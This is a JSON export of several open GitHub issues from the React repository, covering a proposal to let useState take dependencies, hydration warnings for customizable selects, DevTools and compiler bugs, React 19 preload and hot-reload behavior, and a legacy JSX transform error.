\n\nThis is very similar to the original `useEffect` solution people love for its readability, but without any of its drawbacks! Isn't that beautiful?\n\n~By the way, a user-land implementation of this proposal exists, see [`use-state-with-deps`](https://github.com/peterjuras/use-state-with-deps).~ *(**⚠ Update:** the library's implementation of the functionality breaks the rules of React by accessing and writing to refs' `current` values during renders which makes it incompatible with React 18's concurrent features. Please usee my [@aweebit/react-essentials](https://www.npmjs.com/package/@aweebit/react-essentials) library instead, and check [this comment](https://github.com/facebook/react/issues/33041#issuecomment-3357930712) for details.)*\n\n## More motivating examples\n\nThe proposal has been [rejected](https://github.com/facebook/react/issues/14738#issuecomment-461868904) before with the following argumentation:\n\n> The idiomatic way to reset state based on props is here:\n> \n> https://reactjs.org/docs/hooks-faq.html#how-do-i-implement-getderivedstatefromprops\n> \n> In other words:\n> \n> ```typescript\n> const [selectedChoice, setSelectedChoice] = useState(options[0]);\n> const [prevOptions, setPrevOptions] = useState(options);\n> \n> if (options !== prevOptions) {\n> setPrevOptions(options);\n> setSelectedChoice(options[0]);\n> }\n> ```\n> \n> I don't think we want to encourage this pattern commonly so we're avoiding adding a shorter way (although we considered your suggestion).\n\nIn general, I feel like the React team is trying to make me believe that adjusting state when some input value changes is not something I want to do. I cannot agree with that. Here are 2 examples of real-world scenarios where derived state makes perfect sense that I have encountered just recently:\n\n1. `useRelativeTime`: a hook that returns the relative time string like “in 5 seconds” or “2 minutes ago” that it keeps up-to-date, for a given timestamp, in a given language. The current output value is kept in a state variable that may need to be adjusted when the input timestamp or language changes.\n\n
\n Click to show code\n\n ```typescript\n import { useEffect, useMemo, useRef, useState } from \"react\";\n import { createRoot } from \"react-dom/client\";\n\n const units: { name: Intl.RelativeTimeFormatUnit; milliseconds: number }[] = [\n { name: \"week\", milliseconds: 1000 * 60 * 60 * 24 * 7 },\n { name: \"day\", milliseconds: 1000 * 60 * 60 * 24 },\n { name: \"hour\", milliseconds: 1000 * 60 * 60 },\n { name: \"minute\", milliseconds: 1000 * 60 },\n { name: \"second\", milliseconds: 1000 },\n ];\n\n function relativeTimeHelper(\n timeInMs: number,\n rtf: Intl.RelativeTimeFormat\n ): readonly [output: string, nextBumpTime: number] {\n const now = Date.now();\n const diff = timeInMs - now;\n const absDiff = Math.abs(diff);\n\n const settleForUnit = (unit: (typeof units)[0]) => {\n const value = Math.trunc(diff / unit.milliseconds);\n const output = rtf.format(value, unit.name);\n const nextBumpTime =\n diff > 0 // time in the future\n ? now + (diff % unit.milliseconds) + 1\n : timeInMs + (-value + 1) * unit.milliseconds;\n return [output, nextBumpTime] as const;\n };\n\n for (const unit of units) {\n if (absDiff > unit.milliseconds) {\n return settleForUnit(unit);\n }\n }\n\n return settleForUnit(units[units.length - 1]);\n }\n\n function useRelativeTime(language: string, timeInMs?: number) {\n const rtf = useMemo(() => new Intl.RelativeTimeFormat(language), [language]);\n\n const [initialOutput, initialNextBumpTime] = useMemo(() => {\n return timeInMs !== undefined ? relativeTimeHelper(timeInMs, rtf) : [];\n }, [timeInMs, rtf]);\n\n // Does this part have to be so confusing? This would be so much cleaner:\n // const [output, setOutput] = useState(initialOutput, [initialOutput]);\n const [output, setOutput] = useState(initialOutput);\n const [prevInitialOutput, setPrevInitialOutput] = useState(initialOutput);\n if (initialOutput !== prevInitialOutput) {\n setPrevInitialOutput(initialOutput);\n setOutput(initialOutput);\n }\n\n useEffect(() => {\n if (timeInMs !== undefined) {\n const bump = () => {\n const [nextOutput, nextBumpTime] = relativeTimeHelper(timeInMs, rtf);\n setOutput(nextOutput);\n timeout = setTimeout(bump, nextBumpTime - Date.now());\n };\n\n let timeout = setTimeout(bump, initialNextBumpTime! - Date.now());\n return () => clearTimeout(timeout);\n }\n }, [timeInMs, rtf, initialNextBumpTime]);\n\n return output;\n }\n\n function App() {\n const time = useRef(Date.now() + 5000);\n const output = useRelativeTime(\"en\", time.current);\n return output;\n }\n\n createRoot(document.getElementById(\"root\")!).render();\n ```\n
\n2. A component displaying hierarchical data from a tree structure. The components's toolbar includes an input that can be used to control the depth up to which the nodes' children are to be expanded. The data changes dynamically, so it can happen that a previously valid input value becomes invalid because it starts exceeding the overall (maximum) depth of the tree that has decreased. In that case, the input value has to be adjusted to match the new maximum depth.\n\nSure, adjusting state based on input changes is not something you do every day, but nonetheless, scenarios where this is necessary are manifold. I feel like by “avoiding adding a shorter way” so as not “to encourage this pattern”, React does more harm than good:\n\n- The developers who don't know about the `prevState` pattern or don't understand it, those who find it too confusing or fail to see its advantages over the `usEffect` approach, as well as those who don't understand how effects work well enough, end up resorting to `useEffect` and introducing inconsistencies that I've illustrated above. This happens so often that I wouldn't be surprised if even Meta's own codebases included examples of this. I am sure that providing a clear API like the suggested enhanced `useState` hook would help reduce the frequency of such misuses of `useEffect`.\n- The developers who do understand the `prevState` pattern and when to use it end up having to suffer from its deliberate clumsiness or rely on user-land solutions like the aforementioned `use-state-with-deps` library (which, by the way, was not exactly easy to find).\n\nThis is why I think the proposal should be reconsidered. If I haven't missed anything, it's been more than 5 years since the proposal was last brought up in this repository. The React landscape was very different back then, as the transition from class components to hooks was still ongoing. Maybe it wasn't entirely clear 5 years ago how often the `useEffect` hook would be misused. Also I suppose that developers would resort to class components whenever they wanted to avoid confusing patterns of the new and daunting hook world. This doesn't happen anymore. Taking all of that into consideration, I think the time has come to give the proposal a second look!\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33041/reactions", "total_count": 13, "+1": 9, "-1": 1, "laugh": 0, "hooray": 0, "confused": 0, "heart": 3, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33038", "id": 3024211412, "node_id": "I_kwDOAJy2Ks60Qc3U", "number": 33038, "title": "Bug: New Customizable Select: option containing span, Select containing button causes hydration warning", "user": { "login": "fkaempfer", "id": 2357885, "node_id": "MDQ6VXNlcjIzNTc4ODU=", "avatar_url": "https://avatars.githubusercontent.com/u/2357885?v=4", "gravatar_id": "", "url": "https://api.github.com/users/fkaempfer", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 12, "created_at": "2025-04-28T08:53:53Z", "updated_at": "2026-03-06T11:53:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\nCustomizable select elements have received support in Chromium 134:\nhttps://developer.chrome.com/blog/a-customizable-select\nhttps://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Customizable_select\n\nCreating selects with appearance base-select work fine in React, however an error is logged in dev mode in validating DOM nesting.\n\n```\nIn HTML, cannot be a child of
}>\r\n \r\n \r\n );\r\n\r\n await waitFor(() => {\r\n screen.getByText(\"test\");\r\n console.timeLog(\"assertion succeeded\");\r\n });\r\n});\r\n```\r\n\r\nWhich logs\r\n\r\n```\r\n executing component render: 4 ms\r\n\r\n executing component render: 51 ms\r\n\r\n got past the `use` call: 53 ms test\r\n\r\n assertion succeeded: 340 ms\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/30408/reactions", "total_count": 7, "+1": 7, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/30363", "id": 2413917686, "node_id": "I_kwDOAJy2Ks6P4XX2", "number": 30363, "title": "Feature Request: ESLint hooks rule for accessing previous state when deriving new state ", "user": { "login": "SamuelT-Beslogic", "id": 84519004, "node_id": "MDQ6VXNlcjg0NTE5MDA0", "avatar_url": "https://avatars.githubusercontent.com/u/84519004?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SamuelT-Beslogic", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" }, "2": { "id": 1775957182, "node_id": "MDU6TGFiZWwxNzc1OTU3MTgy", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Stale", "name": "Resolution: Stale", "color": "e6e6e6", "default": false, "description": "Automatically closed due to inactivity" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2024-07-17T15:24:44Z", "updated_at": "2026-03-08T23:07:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "https://github.com/facebook/react/issues/21448\r\n> A very common mistake and source of bugs in React applications is not using the updater function when deriving new state from old state.\r\n> \r\n> When using class components, there is a handy [lint rule](https://github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/no-access-state-in-setstate.md?rgh-link-date=2021-05-06T14%3A34%3A05Z) for this in the eslint-plugin-react project.\r\n> \r\n> However, their rule does not work for functional components that utilize useState, and they have [suggested](https://github.com/yannickcr/eslint-plugin-react/issues/2539#issuecomment-620879842) that [eslint-plugin-react-hooks](https://github.com/facebook/react/blob/master/packages/eslint-plugin-react-hooks/README.md?rgh-link-date=2021-05-06T14%3A34%3A05Z) would be a more appropriate home for an equivalent lint rule that _does_ work with hooks.\r\n> \r\n> I've seen this mistake made countless times, and I even fall victim to it every once in awhile, so having an officially sanctioned lint rule would be amazing!\r\n\r\nConversation was locked so we couldn't bump the issue. Note that I'd prefer that issue be re-opened and this one here closed to keep participants, followers, upvotes, creation date, etc.\r\n\r\nCC @martdavidson @palfrey @johncmunson, @dangerismycat, @mathieutu, @vlnguyen, @aldenquimby, @schyler-freewill, @Stephen2 ", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/30363/reactions", "total_count": 10, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 6, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/30114", "id": 2377270163, "node_id": "I_kwDOAJy2Ks6NskOT", "number": 30114, "title": "[DevTools Bug] getCommitTree(): Invalid commit \"1\" for root \"445\". There are only \"1\" commits.", "user": { "login": "Targter", "id": 126644386, "node_id": "U_kgDOB4xwog", "avatar_url": "https://avatars.githubusercontent.com/u/126644386?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Targter", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2024-06-27T06:27:24Z", "updated_at": "2024-06-27T06:27:24Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://abhayyportfolio.netlify.app/\n\n### Repro steps\n\nI am just checking my website performance by the use of profiler \n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n5.2.0-1717ab0171\n\n### Error message (automated)\n\ngetCommitTree(): Invalid commit \"1\" for root \"445\". There are only \"1\" commits.\n\n### Error call stack (automated)\n\n```text\nat getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1150777)\r\n at fe.getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1154452)\r\n at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1396842)\r\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:76682)\r\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:103097)\r\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:116771)\r\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:175653)\r\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:175521)\r\n at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:175252)\r\n at recoverFromConcurrentError (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:171121)\n```\n\n\n### Error component stack (automated)\n\n```text\nat CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1396643)\r\n at div\r\n at div\r\n at div\r\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1291561)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1528595\r\n at ua (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1309094)\r\n at div\r\n at div\r\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1311805)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1312002\r\n at div\r\n at div\r\n at div\r\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1311805)\r\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1387831)\r\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1379486)\r\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203530)\r\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1231781)\r\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1316268)\r\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1536331)\n```\n\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=getCommitTree(): Invalid commit for root . There are only commits. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/30114/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/30056", "id": 2368933541, "node_id": "I_kwDOAJy2Ks6NMw6l", "number": 30056, "title": "[React 19] Different behaviors with `preload` method", "user": { "login": "ahce", "id": 12452003, "node_id": "MDQ6VXNlcjEyNDUyMDAz", "avatar_url": "https://avatars.githubusercontent.com/u/12452003?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ahce", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2024-06-23T23:16:07Z", "updated_at": "2024-09-24T15:29:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\n- react & react-dom version: `19.0.0-rc-3563387fe3-20240621`\r\n- node version: `20.14.0`\r\n\r\nWhen using react's preload method, the preload link tag is not created in certain cases.\r\nIt works correctly with two link tags (`OnlyLinkTags` component).\r\n\r\n### Code example\r\n\r\n```js\r\nconst fs = require('node:fs');\r\nconst { createElement } = require('react');\r\nconst { preload, preinit } = require('react-dom');\r\nconst { renderToString } = require('react-dom/server');\r\n\r\nconst CSS = '/some.css';\r\nconst LINK_PROPS = {\r\n rel: 'stylesheet',\r\n href: CSS,\r\n};\r\n\r\n/**\r\n * Doesn't create the preload link tag\r\n */\r\nconst PreloadAndPreinit = () => {\r\n preload(CSS, { as: 'style' });\r\n preinit(CSS, { as: 'style' });\r\n\r\n return null;\r\n};\r\n\r\n/**\r\n * Doesn't create the preload link tag\r\n */\r\nconst PreloadAndLinkWithPrecedence = () => {\r\n preload(CSS, { as: 'style' });\r\n\r\n return createElement('link', { ...LINK_PROPS, precedence: 'custom' });\r\n};\r\n\r\n/**\r\n * Creates the preload link tag correctly into the head\r\n * The stylesheet link tag stays in the body, because it doesn't have precedence\r\n */\r\nconst PreloadAndLinkWithoutPrecedence = () => {\r\n preload(CSS, { as: 'style' });\r\n\r\n return createElement('link', LINK_PROPS);\r\n};\r\n\r\n/**\r\n * Moves both tags into the head\r\n */\r\nconst OnlyLinkTags = () => [\r\n createElement('link', {\r\n key: 'preload',\r\n rel: 'preload',\r\n as: 'style',\r\n href: CSS,\r\n }),\r\n createElement('link', { ...LINK_PROPS, key: 'link', precedence: 'custom' }),\r\n];\r\n\r\n[\r\n PreloadAndPreinit,\r\n PreloadAndLinkWithPrecedence,\r\n PreloadAndLinkWithoutPrecedence,\r\n OnlyLinkTags,\r\n].forEach((Component) => {\r\n fs.writeFileSync(\r\n `_${Component.name}.html`,\r\n renderToString(\r\n createElement(\r\n 'html',\r\n null,\r\n createElement('head'),\r\n createElement('body', null, createElement(Component)),\r\n ),\r\n ),\r\n );\r\n});\r\n```\r\n\r\n### Outputs:\r\n\r\n#### PreloadAndPreinit:\r\n\r\n```jsx\r\npreload(\"/some.css\", { as: 'style' });\r\npreinit(\"/some.css\", { as: 'style' });\r\n```\r\n\r\n**Current:**\r\n```html\r\n\r\n \r\n \r\n \r\n \r\n\r\n```\r\n\r\n**Expected:**\r\n```html\r\n\r\n \r\n \r\n \r\n \r\n \r\n\r\n```\r\n\r\n#### PreloadAndLinkWithPrecedence:\r\n\r\n```jsx\r\npreload(\"/some.css\", { as: 'style' });\r\n\r\n\r\n```\r\n\r\n**Current:**\r\n```html\r\n\r\n \r\n \r\n \r\n \r\n\r\n```\r\n\r\n**Expected:**\r\n```html\r\n\r\n \r\n \r\n \r\n \r\n \r\n\r\n```\r\n\r\n#### PreloadAndLinkWithoutPrecedence:\r\n\r\n```jsx\r\npreload(\"/some.css\", { as: 'style' });\r\n\r\n\r\n```\r\n\r\n\r\n**Current:**\r\n```html\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n```\r\n\r\n**Expected:**\r\n\r\n`The same as current.`\r\n\r\n#### OnlyLinkTags:\r\n\r\n```jsx\r\n\r\n\r\n\r\n```\r\n\r\n**Current:**\r\n```html\r\n\r\n \r\n \r\n \r\n \r\n \r\n\r\n```\r\n\r\n**Expected:**\r\n\r\n`The same as current.`", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/30056/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/30049", "id": 2368150387, "node_id": "I_kwDOAJy2Ks6NJxtz", "number": 30049, "title": "[Compiler Bug]: healthcheck do not check next.js StrictMode", "user": { "login": "coleea", "id": 7471674, "node_id": "MDQ6VXNlcjc0NzE2NzQ=", "avatar_url": "https://avatars.githubusercontent.com/u/7471674?v=4", "gravatar_id": "", "url": "https://api.github.com/users/coleea", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2024-06-23T02:21:47Z", "updated_at": "2024-06-24T12:27:01Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [X] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/coleea/bug-report-next15-server-action\n\n### Repro steps\n\njust run command `npx react-compiler-healthcheck@latest`.\r\nthen, react-compiler-healthcheck does not check StrictMode even though Next.js is actually StrictMode.\r\n\r\nNext.js is StrictMode by default under these two conditions are met\r\n\r\n1) Next.js version 13.4+ \r\n2) App router\r\n\r\nYou can check this : https://rc.nextjs.org/docs/app/api-reference/next-config-js/reactStrictMode\r\n\r\nSo, It needs extra three steps to check whether StrictMode or Not.\r\n1) check package.json if Next.js version is over 13.4 or not.\r\n2) If so, Check if `reactStrictMode: false` is not set.\r\n3) check if project is App-Router-based.\r\n\r\nIf three conditions are met, this project is based on StrictMode even though `reactStrictMode: true` is not set on `next.config.mjs` file.\r\n\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.0-rc.0", "closed_by": { "login": "gsathya", "id": 565765, "node_id": "MDQ6VXNlcjU2NTc2NQ==", "avatar_url": "https://avatars.githubusercontent.com/u/565765?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gsathya", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/30049/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29915", "id": 2355876957, "node_id": "I_kwDOAJy2Ks6Ma9Rd", "number": 29915, "title": "[React 19] useEffect does not re-fire on hot reload with React 19 and vite", "user": { "login": "gkiely", "id": 1948935, "node_id": "MDQ6VXNlcjE5NDg5MzU=", "avatar_url": "https://avatars.githubusercontent.com/u/1948935?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gkiely", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2024-06-16T17:05:39Z", "updated_at": "2025-05-26T11:05:13Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "In prior versions of react, saving a file will trigger the components `useEffect` hooks to run. This does not work for react 19.\nThis applies to both [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react-swc) and [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react)\n\nRepo: https://github.com/gkiely/swc-issue\n\nSteps to reproduce:\n- npm i\n- npm run dev\n- open repo and press save in App.tsx\n- console.log will not fire after pressing save\n- npm i react@18 react-dom@18\n- npm run dev\n- press save in App.tsx\n- console.log will fire\n\nVideo reproduction:\nhttps://www.loom.com/share/b493602e3f7244d2948c5bb871531881?sid=c9bdec15-5b87-4375-a659-6c63804cb032\n\n\nNotes:\nI previously opened a ticket here but it is perhaps an issue with react 19: https://github.com/vitejs/vite-plugin-react/issues/335 ", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29915/reactions", "total_count": 16, "+1": 16, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29902", "id": 2354185535, "node_id": "I_kwDOAJy2Ks6MUgU_", "number": 29902, "title": "[React 19] Using spread with binary conditional in JSX causes error in dev env for case of using legacy JSX transform", "user": { "login": "undeletable", "id": 6094468, "node_id": "MDQ6VXNlcjYwOTQ0Njg=", "avatar_url": "https://avatars.githubusercontent.com/u/6094468?v=4", "gravatar_id": "", "url": "https://api.github.com/users/undeletable", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 17, "created_at": "2024-06-14T22:22:54Z", "updated_at": "2026-01-26T12:11:59Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\n### Prerequisites\r\n- React app which compiles with legacy JSX transform\r\n- Add a JSX element with spread operator with binary conditional, e.g.:\r\n```\r\n \r\n```\r\n- Run app in dev mode\r\n\r\n### Result\r\n\r\nError is thrown when conditional is evaluated to `false`:\r\n```\r\nUncaught TypeError: Cannot use 'in' operator to search for '__self' in false\r\n at exports.createElement (chunk-Y64RAOT6.js?v=f4a3421f:775:86)\r\n at App (App.jsx:3:13)\r\n at callComponentInDEV (react-dom_client.js?v=f4a3421f:785:18)\r\n at renderWithHooks (react-dom_client.js?v=f4a3421f:3510:24)\r\n at updateFunctionComponent (react-dom_client.js?v=f4a3421f:4521:21)\r\n at beginWork (react-dom_client.js?v=f4a3421f:5096:20)\r\n at runWithFiberInDEV (react-dom_client.js?v=f4a3421f:864:18)\r\n at performUnitOfWork (react-dom_client.js?v=f4a3421f:7688:83)\r\n at workLoopSync (react-dom_client.js?v=f4a3421f:7580:43)\r\n at renderRootSync (react-dom_client.js?v=f4a3421f:7561:13)\r\n```\r\nCode fragment where it's thrown:\r\n```\r\n if (null != config) for (propName in didWarnAboutOldJSXRuntime || !(\"__self\" in config) || \"key\" in config || (didWarnAboutOldJSXRuntime = true, warn(\"Your app (or one of its dependencies) is using an outdated JSX transform. Update to the modern JSX transform for faster performance: https://react.dev/link/new-jsx-transform\")), hasValidRef(config), hasValidKey(config) && (checkKeyStringCoercion(config.key), typeString = \"\" + config.key), config) hasOwnProperty.call(config, propName) && \"key\" !== propName && \"__self\" !== propName && \"__source\" !== propName && (i[propName] = config[propName]);\r\n```\r\n\r\n### Reproduction\r\n\r\nhttps://github.com/undeletable/jsx-spread-with-react-19\r\nClick 'Toggle count button state' to reproduce", "closed_by": null, 